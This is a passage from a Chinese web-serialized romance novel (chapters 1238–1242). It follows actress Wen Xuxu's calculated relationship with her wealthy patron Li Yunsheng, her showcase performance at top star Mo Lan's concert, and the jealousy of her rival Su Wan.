休息室的窗户半开着,夏日的热风裹挟着燥意涌入,吹散了他周身缭绕的烟雾,黑眸陡然变得犀利如刃。 微弱的灯光下,仿佛给他渡上一层薄薄的光晕,清冷的眸子恍惚间像是多了几分柔意,可那柔意几分真几分假,是对她还是对一个虚幻的人物,却没人知道。 “来了?”低沉的嗓音响起,带着几分沙哑。 温栩栩抬眼望去,只见他脚边散落着几个烟头,空气中弥漫着烟草燃烧后的余烬。 她眼眉弯弯,笑意直达眼底,像春日里盛开的桃花。冲过去夺了男人手中抽到一半的香烟,动作带着几分娇嗔的急切。 黎云笙略微蹙眉,似有不悦,可眼底却并未真正泛起冷意。 温栩栩低头看着手中那根香烟,凑近嗅了嗅,眉头皱得更紧:“怎么抽这么多烟?这东西很好抽吗?”她试探性地吸了一口,动作笨拙而可笑,剧烈呛鼻的烟味卡在嗓子眼,她捂住嘴干咳几声,不适的眼尾泛起一片诱人的红晕,又变成那只傻乎乎像是受委屈的大猫模样了。 黎云笙盯着她,倏地伸出手臂将人扣进怀中,温栩栩一双桃花眼里藏匿着数不清的小星星,看向他时,仿佛在看她的全世界。 黎云笙黑眸闪了闪,挑起她的下颌,紧盯着这一张可以靠着脸在娱乐圈“横行霸道”的脸蛋。她娇媚地笑着,带着蛊惑,眼尾上挑,此刻不像大猫,更像是一只勾人心魄的狐狸。 男人逼近她,眼底却没有什么冷意。 他面对温栩栩的时候向来是没有什么冷意的。 抽烟是因为黎家那摊子事情太多,所以才会抽烟,但事实上黎云笙并没有烟瘾,只是内心烦躁。 温栩栩面不改色,笑意完全不僵硬,她特意靠前几分,好让他更好地捏着自己的下颌,又故意亲昵地双臂搂抱住男人的脖子,笑意盎然:“阿笙,你今天怎么有空来探班?是不是想我了?” 黎云笙的指尖摩挲着她下颌细腻的肌肤,嗓音低沉:“想你了,来看看。” 他顿了顿,目光扫过她的唇瓣,喉结滚动了一下,“倒是你,不会抽烟,还故意学,是想让我心疼?”温栩栩轻笑出声,尾音带着撒娇的意味:“哪有?我就是好奇嘛……不过,你抽这么多烟,是遇到什么烦心事了?”她仰头望着他,眼底闪烁着关切的光芒。 黎云笙的眉头微蹙,沉默片刻,终是缓缓开口:“黎家那边,有些琐事需要处理。”他声音里带着一丝疲惫,却并未多言。 温栩栩自然懂得,黎家作为世家大族,内部纷争向来复杂。 她伸手抚上他的胸膛,掌心感受着沉稳的心跳,柔声道:“不管多忙,也要注意休息。你抽烟抽得嗓子都哑了……”她凑近他耳边,温热的气息喷在他颈间,“不如……让我来帮你缓解一下?” 黎云笙的瞳孔猛地收缩,还未反应过来,温栩栩已踮起脚尖,吻上他的喉结。舌尖轻轻舔舐过那凸起的部位,引起一阵战栗。 他闷哼一声,扣住她腰肢的手骤然收紧,仿佛要将她揉进骨血。 温栩栩的吻一路向上,最终落在他下巴上,这个吻带着安抚的意味,温柔而缠绵。 她像一只慵懒的猫儿,依偎在他怀中,指尖在他后颈轻轻画圈:“别让自己太累了。” 黎云笙的黑眸深邃如墨,凝视着她的脸,仿佛要将她刻入灵魂深处。 “温栩栩……”黎云笙的声音沙哑得厉害,他抵着她的额头,鼻尖蹭过她的脸颊,带着眷恋的意味,“你总是这么会撩拨人。” 温栩栩轻笑,眼尾上挑,媚态横生:“只撩拨你,好不好?”她指尖划过他的喉结。 “下次别抽这么多烟了,对身体不好的。”温栩栩的声音像浸了蜜糖的丝绸,指尖暧昧地缠绕上黎云笙的手腕。 她微微仰起头,鼻尖几乎要贴上他的,温热的气息拂过他的喉结,“好不好?”那双桃花眼水光潋滟,仿佛藏着整个银河的星光,专注地凝视着他,仿佛天地间只剩他们二人。 黎云笙喉结滚动了一下,黑眸深处泛起涟漪。他望着她,目光如墨般浓稠,仿佛要将她溺毙其中。 最终,他点了点头,声音低沉沙哑:“我去洗澡,身上的味道很难闻。”抽过烟后身上总会残留浓重的烟味,他向来注重细节,此刻更不愿熏到她。 温栩栩却像只撒娇的小狗,在他身上嗅来嗅去,鼻尖在他颈侧蹭了蹭,柔软的触感让他浑身一颤。 她抬起头,眼睛亮晶晶的,带着狡黠的笑意:“还好,对我来说不算难闻,不过不许有下一次了。”她说着,指尖轻轻戳了戳他的胸膛,指尖下的心跳声如擂鼓般清晰。 黎云笙心中某处柔软被悄然触动。 他凝视着她,黑眸中翻涌着复杂的情绪。 她眼睛里全都是他,那汹涌的爱意如潮水般将他包围,仿佛要将他的灵魂都灼烧殆尽。 她突然吻上他的唇,他下意识地偏头躲开,温栩栩愣住了,眼中闪过一抹疑惑。 第1238章 情人就该有情人的自觉 黎云笙轻笑一声,声音里带着几分无奈:“才抽过烟,我去洗漱再亲。”他转身欲走,温栩栩却从背后搂住他的腰,脸颊贴在他宽阔的后背上,声音闷闷的:“你……你还挺讲究。”他脊背一僵,嘴角却悄然勾起一抹弧度。 温栩栩倒是老老实实地等黎云笙清洗过后。 男人已经换了身衣服,发丝微微湿漉漉的,水珠顺着发梢滴落,更衬得那张脸俊美如神祇。 可那冷峻的面容却让他瞧着更加难以亲近,仿佛一座遥不可及的冰山。 温栩栩却不担心,她踮起脚尖,双手搂抱住他的脖子,轻哼了一声:“现在是不是可以亲亲了。”那尾音带着撒娇的颤意,仿佛羽毛轻拂过心尖。 黎云笙的喉结再次滚动,他伸手揽住她的腰肢,将她紧紧拥入怀中,低头吻了上去。温栩栩的眼睛里弥漫着的都是笑意,仿佛盛满了整个春天的阳光。这个吻绵长而炽热,仿佛要将所有的情愫都倾注其中。 休息室的灯光柔和,映照出两人交叠的身影。 窗外夏夜的风轻轻拂过,带来一丝清凉,却无法冷却室内的温度。 黎云笙的吻愈发深入,带着不容拒绝的霸道。温栩栩的呼吸逐渐急促,她回应着他的吻,双臂紧紧攀附着他的脖颈,仿佛要与他融为一体。 “阿笙……”温栩栩的声音带着喘息,如呢喃般低语。黎云笙的指尖抚过她耳畔的碎发,嗓音低沉而沙哑:“叫我什么?” 温栩栩轻笑,眼尾上挑:“阿笙,”她的话语带着撒娇的意味,仿佛要将他的心都融化。 黎云笙的眸色更深,他扣住她的手腕,将人压在沙发上,身体覆了上去。 温热的呼吸交织,暧昧的气息在休息室里弥漫开来。温栩栩的桃花眼闪烁着水光,她望着他,仿佛在望她的全世界。 他低头吻住她的唇,这个吻带着惩罚的意味,却又温柔得令人心颤。 “下次不许学抽烟。”黎云笙的声音带着警告,指尖摩挲着她下颌细腻的肌肤。 温栩栩眼尾带着点红的哼哼了两声,似乎是在回应他。 …… 温栩栩瘫坐在休息室的沙发上,发丝凌乱地散落在肩头,像是被狂风席卷过的绸缎。 她的衣领散乱,露出一片雪白的肌肤,锁骨处泛着淡淡的红痕,唇瓣红肿如熟透的樱桃,眼睛里带着明显的泪意,她像一只被雨水打湿的幼猫,可怜可爱,却又带着几分倔强的傲气。 男人淡淡的扫她一眼,目光如寒潭般深邃,带着惯常的冷意,但其实眼底是带着柔意的。 温栩栩察觉到他的目光,缓缓跪坐起来夹了他一眼,缓了片刻这才倾身向前,指尖轻柔地为男人系好扣子。 纤细的手指灵巧地穿梭在纽扣之间,动作温柔而专注。她的呼吸轻轻拂过他的胸膛,带着丝丝温热,如羽毛般撩拨着他的心弦。 黎云笙盯着她那一张脸许久,黑眸中翻涌着复杂的情绪。 那张脸美得惊心动魄,仿佛被上帝精心雕琢过的艺术品,一颦一笑都能牵动人的心弦。 他缓缓开口,声音低沉而富有磁性:“有什么想要的资源都可以跟我说,《灵媒》拍摄结束后有看好的电影资源或者电视剧资源都可以跟我说,一些电影的客串女主角色我也会让人把剧本发给你,虽然台词不多,但可以在电影里面露脸曝光也是好的,都是很好的角色。” 他的语气平静而冷淡,像是在谈论一笔再普通不过的生意,可话语里却透露出不容置疑的霸道。 温栩栩又笑起来,笑容如春日里绽放的桃花,明艳动人。 她仰起头,眼睛里闪烁着兴奋的光芒:“我就知道阿笙最好了!”她的话语带着撒娇的意味。 男人并未多说什么,只是微微颔首,表情依旧冷峻,好像真的只是为了给她送资源而已。 温栩栩垂眸,掩去眼底闪过的一丝思绪。 她心想,这样更像金主跟情人了啊。 她与黎云笙的关系,似乎始终徘徊在情人与金主的边缘,若即若离,却又纠缠不清。 她不提苏婉,是因为她故意将自己看作是黎云笙的情人。 情人凭什么在意金主身边有其他女人呢? 在她看来,情人的身份就该是依附与索取,而不是嫉妒与追问。 而且……苏婉本身也不足为惧。 温栩栩有足够的自信,她相信黎云笙还不会瞎到会被苏婉勾走。 如果黎云笙真的能被苏婉勾走,那岂不是显得她太没用了吗? 直到男人离开,休息室里只剩下她一人,温栩栩才缓缓站直身子。 她挺直脊背,昂首阔步地走到休息室的等身镜前,站定。 镜中的女子容颜绝美,眉眼如画,唇瓣依旧红肿,却透出一种别样的妩媚。她微微扬起下巴,眼神中褪去了方才的柔顺与嗔意,取而代之的是一种冷艳而自信的光芒。 嗯,她好看,就是要被人这样宠着的。 她望着镜中的自己,嘴角缓缓勾起一抹弧度,那弧度里带着笃定与骄傲。 对啊,就是这样,她长得漂亮,就是要找最优秀最俊美的金主护着自己才对。 在这个娱乐圈里,美貌就是她最大的武器,而黎云笙这样有权有势的金主,就是她最坚实的后盾。 她不需要爱情,至少现在不需要,她需要的是资源,是地位,是能让她在这个残酷的圈子里立足的一切。 而黎云笙,恰好能满足她所有的需求。 温栩栩伸出手指,轻轻抚过镜中自己的脸颊,指尖划过肌肤,带来一阵微凉的触感。 她眯起眼睛,眼神愈发冷冽。她深知,在这段关系里,她必须保持清醒与理智。 情人就该有情人的自觉,不能奢求太多,更不能陷入太深。 她要做的,就是牢牢抓住黎云笙的心,让他为自己提供源源不断的资源,直到她足够强大,能够在这个娱乐圈里独当一面。 温栩栩这样想着还是会感觉到内心那点明显的酸涩感。 第1239章 踏板 虽然心里那样想的,但是……还是会忍不住的有一点点难过的。 温栩栩愣神之际听到自己的手机在此刻响起来,声音有些大,她自然是听到了。 “栩栩,昨晚无人机和烟花是你家那位搞出来的吗?”温栩栩接通电话,彭脆脆的声音带着一丝惊讶和担忧从听筒里传来。 温栩栩嘴角扬起一抹甜笑,声音却带着几分慵懒:“是阿笙为我做的。”电话那头传来彭脆脆被噎住的呼吸声,她停顿片刻后,语气变得严肃:“栩栩,我记得你说过你有分寸,黎少固然好,但我们终归不是一个世界的人,我不希望你受伤。” 温栩栩放下手机,走到窗边,朝下望去。 窗外绿树葱茏,阳光透过树叶的缝隙洒下斑驳的光影,她的心情也跟着好了几分。 她一边整理着微微散乱的衣领,一边回复彭脆脆:“脆脆,你觉得我很傻吗?”她的眸光闪烁,像深秋的湖水,清澈却又深不可测,“他是很好,但是我不会真的蠢到完全付出一切。” 温栩栩真的傻吗?如果她真的傻,就不会在紧要关头孤注一掷设计韩城、设计黎云笙。 她将手机抵在下颌处,指尖无意识地摩挲着窗框,眼神却穿透玻璃,望向远处模糊的楼宇。 她把黎云笙当什么?不过是一个金主靠山罢了。 她可以在黎云笙面前示弱、示爱,让他觉得她眼里心里都是他,最爱的也是他,可那又如何? 她只爱她自己,她所谓的爱,全因她演技精湛。 哪怕昨晚温栩栩真的因为那绚烂的烟花和浪漫的无人机表演有过瞬间的感动,可也只是一瞬罢了。 她稍微动动脑子就知道,黎云笙现在喜欢她或许就是因为她的相貌,这种爱根本禁不住什么诱惑,等以后她年老色衰了,黎云笙还会有爱吗?不,他会去爱娱乐圈其它更漂亮更年轻的女星。 今天陪在他身边的可以是温栩栩,明天可能陪在他身边的就是赵栩栩陈栩栩了。 所以无人机或者烟花表演这种事,感动一下就够了,可不能让自己昂贵的天价的爱便宜了黎云笙,没有人配得上她的爱。 她对黎云笙百依百顺,无非是因为黎云笙能做她的靠山,能让她在娱乐圈横行无忌,能给她资源,让她在这个光怪陆离的圈子里站稳脚跟。这样的男人,她当然心甘情愿在他面前示弱,扮演一个温柔小意、满眼都是他的情人。 至于黎云笙,他又何尝不是在用虚假的爱意欺骗她? 两人心知肚明,互相试探,互相演戏,在这场名为“爱情”的游戏里,唯有肉欲和那些唾手可得的资源才是真的。 什么感情?多幼稚可笑的人才会真的看重感情呢? 想是这么想,可温栩栩一定也是难过的,难过于自己明明会心动却还是要压制自己的内心。 温栩栩又笑起来,这次她的笑容更加张扬,仿佛带着一种破釜沉舟的决绝:“脆脆,黎云笙啊,只是我的踏板。”她加重了语气,声音里透出一种势在必得的自信,“他是我一飞冲天攀到顶端的踏板。” 彭脆脆在电话那头半晌说不出话来,最终只能支支吾吾地祝她加油拍戏。 温栩栩挂断电话,转身望向休息室内那面巨大的落地镜,镜中的女子妆容精致,笑容却带着一丝冷意。 她伸出手指,轻轻抚过镜中自己的脸颊,指尖划过肌肤,带来一阵微凉的触感。 昨晚的烟花和无人机表演确实浪漫,黎云笙也的确给了她一场盛大的惊喜。 可那又如何?在娱乐圈这个名利场里,浪漫不过是包装精美的糖衣,包裹着的永远是利益的毒药。 温栩栩走到沙发旁坐下,拿起茶几上的剧本,随意翻了几页。她的手指在剧本上轻轻敲打着,思绪却飘到了更远的地方。 黎云笙对她的好,她看在眼里,记在心里,却也保持着清醒。 她知道,这份好是有代价的,而她,愿意付出这个代价。 她会在黎云笙需要的时候,温柔地依偎在他怀里,用含情脉脉的眼神望着他,她会在黎云笙疲惫的时候,给他按摩肩膀,轻声细语地安慰他。可她心里始终有一片区域,是留给自己的,那里没有黎云笙,没有韩城,只有她自己。 她爱她自己,胜过一切。 即便她会因为那烟花和无人机感动,可当她回到房间,卸下脸上的笑容,看着镜中自己的脸时,她清楚地知道,那兴奋是真实的,感动却只是一瞬间的。 她的爱,太昂贵,她舍不得轻易付出。 温栩栩的野心,就像一团燃烧的火焰,在她的心里熊熊燃烧。 她知道自己想要什么,也知道该如何去得到。黎云笙是她的踏板,是她通往成功的捷径。她不会否认这一点,因为她足够清醒,也足够现实。 在这个娱乐圈里,没有背景、没有资源的人,注定只能成为别人的垫脚石。 而她,绝不愿意成为垫脚石,她要成为那颗最耀眼的明星。 彭脆脆的担忧,她不是不懂。可她知道,自己不会受伤。 温栩栩合上剧本,起身走到窗边,再次望向窗外。 休息室的门被敲响时,温栩栩正站在窗边欣赏窗外的风景。 她打开门,看到门外站着墨澜,不禁有一瞬间的恍惚。 墨澜是娱乐圈的顶流,身份尊贵,她不太明白他为何会在这个时间找自己。 “介意我进去吗?”墨澜开口。 温栩栩有些茫然,但还是礼貌地说:“当然不介意。” 墨澜倚靠在门口,姿态闲散优雅,仿佛他出现在任何地方都是理所当然的。 他进入休息室后,径直坐到沙发上,双腿交叠,手指随意地搭在沙发扶手上,整个人散发着一种淡定从容的气质。 温栩栩关上门,走到墨澜对面坐下,轻声问道:“墨澜老师有什么事吗?”墨澜笑看她一眼,眼神深邃而带着一种看透世事的犀利,缓缓开口:“黎云笙似乎真的很看重你,你猜猜看他为你争取了什么资源。” 第1240章 黎家的水太深 对于墨澜的话温栩栩不清楚,还有些茫然。 墨澜见她似乎是真的什么都不知道,才缓缓开口:“三天后,我会有国内几个城市的五场万人演唱会,这次演唱会有一场是网络直播形式。黎氏那边用一部主旋律电影资源跟我对接,给了我男主的角色,条件是让你成为演唱会上面的特邀惊喜嘉宾,让你上台演唱。”温栩栩怔住了,这个消息让她措手不及。 墨澜的身份有多尊贵,圈内众人皆知。 他是真正的娱乐圈顶流,任谁提到娱乐圈顶流最先想到的都是他,有身份、有地位,唱跳全能的天王级别人物。 黎云笙这么做,无非是想给墨澜一点好处,想借由墨澜的身份来捧她。 温栩栩是真的没有想到黎云笙能做到这一步。她心中翻涌着复杂的情绪,惊讶、感动、疑惑交织在一起。她愣在原地,目光有些空洞,仿佛在消化这个突如其来的消息。 墨澜看她愣住,缓了缓,垂下眼睫,脸上带着笑意的表情也收敛起来。 他目光仍然落在温栩栩的脸上,片刻后才开口:“温栩栩,不要轻易沦陷。你们的身份地位摆在这里,黎家的少夫人不会是你,黎家的水太深,你要清楚,不要真的陷下去。”墨澜说这些真的是忠告。 他是看温栩栩是同组的女主角,演技太好,所以才有些惜才,不希望温栩栩真的出什么事情后被埋没。他的语气诚恳,带着一种前辈的关怀,却又不失疏离。 温栩栩轻咬下唇,然后勉强地笑了下,说:“我知道的,我只是……利用他拿到一些资源,我什么都清楚的。” 可说这些的时候,温栩栩内心还是会很在乎黎云笙啊。 她的话语有些无力,眼神也有些闪烁,仿佛在说服自己,又仿佛在掩饰内心真实的情感。她的手指无意识地绞着衣角,这个细微的动作暴露了她内心的不安。 墨澜微微颔首,目光依旧停留在她脸上,仿佛在审视她的真实想法。 他端起茶几上的水杯,轻抿一口,动作优雅而从容。沉默片刻,他再次开口:“温栩栩,黎云笙不是简单的人物。他的家族背景复杂,在娱乐圈的布局深远。他给你的资源,看似是恩赐,实则也可能是枷锁。你要明白,在这段关系里,你只有保持清醒,以后才能全身而退。”他的话语像一记警钟,敲在温栩栩的心上。 温栩栩深吸一口气,努力让自己镇定下来。她抬起头,直视墨澜的眼睛,认真地说:“墨澜老师,我明白您的意思。我会小心的,不会让自己陷入危险的境地。”她的眼神坚定,仿佛在向墨澜保证,也仿佛在给自己打气。但她的手指依旧在衣角上轻轻绞着,这个动作出卖了她的紧张。 墨澜眸光晦暗的看了她一眼,片刻后才点了点头,起身准备离开。 他走到门口,突然停下脚步,转身看向温栩栩,眸光深重:“如果以后真的遇到什么无法解决的事情可以来找我,墨家在圈内还是有点能力的,就算真的跟黎家对上……也能护住你。”说完,他开门离去,留下温栩栩独自在休息室里。 温栩栩站在原地,望着墨澜离开的方向,久久没有动弹。 她的脑海中不断回想着墨澜的话:“黎家的少夫人不会是你,黎家的水太深……” 她轻咬下唇,指尖无意识地摩挲着沙发扶手,眼神复杂。 她知道墨澜说的是事实,黎云笙的身份注定了他们之间不可能有真正的未来。 她觉得自己有时候就是会矛盾,一边心里发慌的告诫自己不要陷进去,可一边又会因为黎云笙做的一些事而轻易的感动,真的太愚蠢了。 她缓缓走到窗边,望着窗外的绿树和远处的建筑,心中思绪万千。 黎云笙为什么会为她做到这一步?是真的看重她,还是只是为了利用她?她无法确定。但无论如何,这个机会对她来说太重要了。她需要资源,需要曝光,需要在这个残酷的娱乐圈里生存下去。 墨澜的演唱会,万人瞩目的舞台,网络直播……这将是她展现自己的绝佳机会。 温栩栩深吸一口气,努力让自己冷静下来。 她告诉自己,不能被感情左右,不能被黎云笙的温柔迷惑。 她必须清醒,必须利用这次机会让自己更上一层楼。 她转身回到沙发上坐下,拿起剧本,开始认真看起来。但她的心思显然不在剧本上,她的手指在剧本上轻轻敲打着,眼神有些飘忽,显然还在想着墨澜带来的消息和黎云笙的用心。 休息室里安静下来,只有温栩栩偶尔翻动剧本的声音。 墨澜演唱会当晚,苏婉托关系拿到了入场券。 苏家与墨家曾有些交情,墨澜也算给了她几分薄面。 苏婉原本并不知晓温栩栩会现身舞台,直到她在演出间隙,亲眼看见温栩栩踏上舞台中央。 彼时,温栩栩身着一袭白衬衫牛仔裙,干净美好得如同校园海报里的初恋少女。 她随性地随着音乐摇晃身体,轻轻吹着口哨,慵懒中带着几分戏谑的笑意。那笑意像是裹挟着阳光的温度,洒向台下时,仿佛让所有人都沐浴在暖融融的春日里。 前奏音乐终于结束,温栩栩缓缓开口,歌声如溪水般叮咚流淌,将一首回忆往昔的小甜歌娓娓唱出。 台下观众的心弦被悄然拨动。有人想起夏日里潺潺的流水,有人忆起校园雨中的石子路,有人嗅到体育课后冰可乐喷洒出的清凉气息,还有人仿佛看见槐花纷落时,花瓣随风飘落在肩头,空气中弥漫着清甜的芬芳…… 那些关于青春的记忆碎片,被温栩栩的歌声一一拾起,拼凑成一幅幅鲜活的画面。 观众眼眶渐湿,泪光在光影交错中闪烁,仿佛被歌声带回了那段最青涩美好的少年时光。 突然,音乐陡然转调,节奏变得欢快而急促,舞台灯光也瞬间暗沉下来。 第1241章 让她尝尝失败的滋味 温栩栩踩着鼓点,跳出利落帅气的舞蹈。 她身姿灵动如燕,每一个动作都精准卡点,充满力量又不失柔美。台下惊呼声此起彼伏,观众的脸颊因兴奋而泛红,现场气氛瞬间被点燃,彻底沸腾起来。 音乐再度转换,轻快甜美的旋律流淌而出,温栩栩又变回了那个清纯可爱的学妹模样。 她笑容明媚,眼神澄澈,歌声里满是青春独有的朝气与活力。观众的情绪随着她的表演起伏跌宕,仿佛也跟着经历了一场从青涩到成熟的蜕变之旅。 当音乐最终缓缓停下,温栩栩却仿佛又变回了那个蛊惑人心的妖精。 她眉眼弯弯,笑意中带着几分狡黠与魅惑,一颦一笑间,都散发着令人难以抗拒的吸引力。台下观众的心跳仍随着她的节奏起伏,余韵悠长,久久不散。 苏婉在台下冷眼旁观,心中翻涌着复杂的情绪。 她没想到温栩栩竟能在墨澜的演唱会上如此大放异彩,更没想到她竟能如此精准地拿捏舞台,将两种截然不同的风格切换得游刃有余。 苏婉紧攥着手中的邀请函,指甲深深掐进掌心,指节因用力而泛白。 苏婉的唇角不受控制地抽搐着,目光死死地钉在大屏幕上。 那抹穿着白衬衫牛仔裤的身影在光影中熠熠生辉,温栩栩的笑容明媚得刺眼,仿佛能将整个演唱会的夜空都点亮。 经纪人急促地用胳膊肘戳了戳她,声音压得极低,含糊不清地催促:“笑一个,快笑,摄像头对着我们这边呢!” 笑?这让她怎么笑得出来? 苏婉只觉得喉咙像被什么哽住了,不仅笑不出来,甚至有一股想哭的冲动在胸腔里翻涌。 她深吸一口气,强行扯动嘴角,可那笑容比哭还难看,僵硬得如同被冻结的湖面。 现场墨澜的粉丝此起彼伏的喝彩声如同潮水般涌来,一波接着一波。 苏婉坐在特邀嘉宾席上,却感觉那些欢呼声像是一根根细密的针,扎在她本就紧绷的神经上。 温栩栩就这样轻而易举地赢得了墨澜粉丝的尊重,而这本该是属于她的荣耀。 她紧紧攥着手中的邀请函,指尖几乎要将纸张揉碎。 邀请函的边角尖锐地刺入手掌,带来一丝微妙的痛感,可这痛感却远远比不上她内心翻腾的嫉妒与不甘。 温栩栩就在舞台上,距离她不过几十米的距离。可苏婉却觉得,她们之间像是隔了一整个银河系那么远。 那银河浩瀚无垠,闪烁着无数耀眼星辰,而温栩栩就是其中最为璀璨的那一颗,而自己却像被遗忘在角落的尘埃,渺小而黯淡。 她努力挺直脊背,试图维持自己作为特邀嘉宾的风度,可垂在身侧的手却不受控制地微微颤抖。 现场粉丝的欢呼声一浪高过一浪,声浪几乎要将整个场馆的顶棚掀开。 温栩栩站在舞台中央,仿佛天生就属于这个光芒万丈的地方。 她微微侧身,目光悠然自得地转向苏婉所在的方向。 那瞬间,苏婉感觉自己的心跳猛地漏了一拍。温栩栩歪头勾唇,笑容如同春日里绽放的桃花,明媚又带着几分狡黠。 那笑容仿佛带着电流,瞬间击中了苏婉的神经。更让苏婉窒息的是,摄像头敏锐地捕捉到了这个瞬间,镜头如影随形地跟着温栩栩转动,将她的笑容毫无保留地收录其中。 直播间的弹幕瞬间炸开了锅,粉丝们疯狂地刷屏。 “仙女!” “姐姐好美!” “这笑容鲨我!” 苏婉死死地盯着屏幕,指甲深深掐进掌心,留下几道月牙形的红痕。她知道,温栩栩这胜利者的笑容,分明是对她的挑衅。 确实是挑衅。 苏婉作为特邀嘉宾上台演唱时,表现只能用“平平无奇”来形容。 她的歌声缺乏感染力,舞蹈动作也略显僵硬,整场表演如同石沉大海,没有掀起任何水花。 而温栩栩一上台,却瞬间点燃了现场的气氛。她清澈动人的歌声如同潺潺流水,抚慰着听众的心灵;她利落帅气的舞蹈如同火焰,瞬间引爆了全场的热情。 墨澜这场演唱会是全网直播,数百万观众同时在线观看。 苏婉可以预见,温栩栩的表演视频会在网络上疯传,她必然会爆火。 想到自己精心准备的表演被温栩栩轻松碾压,想到那些原本属于她的目光和赞誉如今都集中在温栩栩身上,苏婉内心的不甘如同野草般疯狂滋长,嫉妒的火焰几乎要将她灼烧殆尽。 她努力平复呼吸,将目光从大屏幕上移开,低头盯着自己的手。可温栩栩的身影却仿佛印在了她的视网膜上,无论如何都无法摆脱。 她想起自己在娱乐圈的这些年,虽然也算小有名气,但始终徘徊在二线,无法更进一步。而温栩栩呢?一个刚入行的新人,短短时间内就攀上了黎云笙这棵大树,现在又借着墨澜的演唱会大放异彩。 苏婉的经纪人察觉到了她的异样,轻轻拍了拍她的肩膀,小声安慰道:“别往心里去,她也就这次运气好。” 苏婉却猛地抬起头,眼中燃烧着怒火:“运气好?她那也叫运气好?她分明就是故意在跟我作对!”经纪人被她突如其来的激动吓了一跳,连忙环顾四周,压低声音道:“你小点声,周围都是人。” 苏婉这才意识到自己的失态,她深吸一口气,强行压下内心的怒火,可眼中的恨意却愈发浓烈。 苏婉的目光再次投向舞台。 温栩栩已经结束了表演,正在向观众鞠躬致意。她身姿挺拔,气质优雅,仿佛一位刚刚加冕的女王。 苏婉死死地攥紧拳头,指甲几乎要刺破皮肤。 她发誓,她绝对不会让温栩栩就这么轻易地成功。她一定要想办法,让温栩栩从云端跌落,让她尝尝失败的滋味。她的眼中闪过一抹阴狠,心中已经暗暗盘算起来。 演唱会结束后,苏婉回到后台休息室,她打开手机,看到社交媒体上已经炸开了锅。 第1242章 热搜词条确实炸了 热搜词条也确实炸了。 #温栩栩 墨澜演唱会# #温栩栩舞台表现# #温栩栩笑容杀#等话题高居不下。 点进话题,满屏都是对温栩栩的夸赞。 “温栩栩太绝了!唱歌好听跳舞也帅,这是什么宝藏女孩!” “被温栩栩圈粉了!从清纯学妹到帅气舞者,切换自如,爱了爱了!” “温栩栩和墨澜同框的画面好养眼啊!求合作!” …… 苏婉一条条地翻着评论,脸色越来越阴沉。 她关闭手机,靠在座椅上,闭目养神。可脑海中却不断浮现出温栩栩在舞台上的身影,以及观众们对她的追捧。她内心的嫉妒如同毒蛇般啃噬着她的心,让她痛不欲生。 她知道,自己必须做点什么。她不能让温栩栩就这么顺利地发展下去。 她要找出温栩栩的弱点,抓住她的把柄,然后将她彻底击垮。 她相信,温栩栩的成功不可能一直这么顺利,她一定有什么不可告人的秘密,她一定……一定不能让温栩栩火起来,她有预感,如果任由温栩栩火下去,温栩栩一定会抢走属于自己的东西! …… 温栩栩下台后,墨澜在后台找到了她。 他倚靠在休息室的门框上,姿态闲散优雅,眼神中带着一丝赞许:“今晚表现不错。”温栩栩轻笑,撩了撩耳边的碎发,语气带着一丝慵懒:“墨澜老师过奖了,多亏了您的舞台,才能让我有发挥的空间。” 墨澜微微颔首,目光却透着深意:“黎云笙为了你,可是下了血本。那部主旋律电影的男主角色,可不是轻易能拿下的。” 温栩栩的笑容僵了一瞬,随即又恢复自然:“墨澜老师放心,我心里有数。资源嘛,自然是要物尽其用。”她说着,指尖无意识地摩挲着裙摆,眼神却望向远处,仿佛在思索着什么。 苏婉并未离开,她悄悄跟到了后台。 透过门缝,她看到温栩栩与墨澜的互动,心中愈发不是滋味。 她想起之前听经纪人提起温栩栩在剧组里的表现,明明只是个新人,却总能得到导演的青睐,资源也接踵而至。如今又攀上了黎云笙,甚至在墨澜的演唱会上如此耀眼。 苏婉咬着下唇,眼中闪过一丝嫉妒与不甘。她转身离去,心中暗暗盘算着,一定要找个机会,让温栩栩在众人面前出丑。 温栩栩回到休息室后,并未察觉苏婉的跟踪。 她坐在沙发上,闭目养神,脑海中却不断回放着舞台上的每一个细节。今晚的表演,是她精心设计的一场秀。 从清纯学妹到帅气舞者,再到魅惑妖精,每一种风格的转换,都是她为了吸引不同观众群体而刻意为之。 她知道,在这个看脸又看实力的娱乐圈里,只有不断给观众新鲜感,才能让自己立于不败之地。 演唱会结束后,温栩栩的粉丝数量暴涨。 社交媒体上,关于她舞台表现的视频和话题热度居高不下。 网友们纷纷夸赞她的唱跳实力与舞台表现力,甚至有人将她称为“全能艺人”。 温栩栩看着这些评论,嘴角勾起一抹得意的笑。她知道,自己的努力没有白费,黎云笙的资源投入也初见成效。 但她也清楚,这仅仅是开始,前方的路还很长,她需要更加谨慎地走好每一步。 温栩栩在墨澜演唱会上的惊艳表现,彻底引爆全网热议。 演唱会结束后,粉丝与路人的夸奖与评论如潮水般席卷社交媒体,将#温栩栩《灵媒》#、#温栩栩墨澜#、#墨澜演唱会#、#天籁之音#等话题强势推上热搜榜,热度持续居高不下。 墨澜作为华语乐坛的顶流偶像,其演唱会向来是万众瞩目的焦点。而温栩栩此次受邀登台,不仅凭借实力赢得墨澜的认可,更让无数观众见识到她多面的魅力。 粉丝们在社交平台疯狂输出彩虹屁,其中一位大粉剪辑的现场视频播放量突破千万,画面中温栩栩身着简约白衬衫与牛仔裙,干净清新的造型仿佛让人一秒穿越回青春校园。 她随音乐轻轻摇晃身体、吹响口哨的瞬间,被粉丝截图做成无数动图,配文“慵懒又带着戏谑的眼神,像是被阳光亲吻过的精灵,光是看着就让人心情愉悦”。 当温栩栩开口歌唱时,清澈透亮的嗓音瞬间击中听众内心。 粉丝们纷纷留言:“她的歌声像是夏日里叮咚流淌的小溪,每个音符都带着治愈人心的力量” “前奏响起时,我仿佛回到了校园雨后的石子路,那些青春的记忆突然就变得鲜活起来”。 而她在快节奏音乐中跳出帅气舞蹈的片段,更是让评论区炸开了锅:“姐姐的舞蹈卡点精准到可怕,动作利落又有力量感,帅到让人尖叫” “从清纯学妹秒变酷飒女王,这种反差魅力谁受得了啊”。 粉丝们不仅用文字表达喜爱,还自发制作了各种表情包和混剪视频,将温栩栩的舞台魅力传播到各个角落。 路人的好评同样铺天盖地。 一位网友在微博写道:“原本只是凑热闹看演唱会直播,结果被温栩栩彻底圈粉!她唱歌时的表情管理太绝了,每个眼神都仿佛在讲故事,跳舞时又A到爆,这是什么神仙业务能力?” 另一位观众则感叹:“温栩栩的舞台表现力简直逆天,能清纯能魅惑,能安静能炸场,这才是真正的全能艺人吧!” 